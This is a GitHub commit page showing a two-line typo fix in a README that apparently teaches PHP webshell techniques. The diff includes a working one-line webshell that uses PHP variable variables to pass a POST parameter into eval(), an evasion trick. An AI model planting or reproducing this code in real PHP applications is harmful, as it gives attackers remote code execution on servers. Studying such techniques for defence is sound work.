Skip to content

Commit a2215bb

Browse files
authored
Update README.md
1 parent b4de936 commit a2215bb

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -897,15 +897,15 @@ array_map($user,$user = $pass );
897897

898898
```php
899899
$f = 'hello'; //变量名为f,变量值为Hello
900-
$$z = 'AabyssZG'; //变量名为Hello(也就是$f的值),值为AabyssZG
900+
$$f = 'AabyssZG'; //变量名为Hello(也就是$f的值),值为AabyssZG
901901
echo $hello; //输出AabyssZG
902902
```
903903

904904
那要怎么利用这个特性呢?如下:
905905

906906
```php
907907
$f ='hello';
908-
$$z = $_POST['aabyss'];
908+
$$f = $_POST['aabyss'];
909909
eval($hello); //eval($_POST['aabyss']);
910910
```
911911

0 commit comments

Comments
 (0)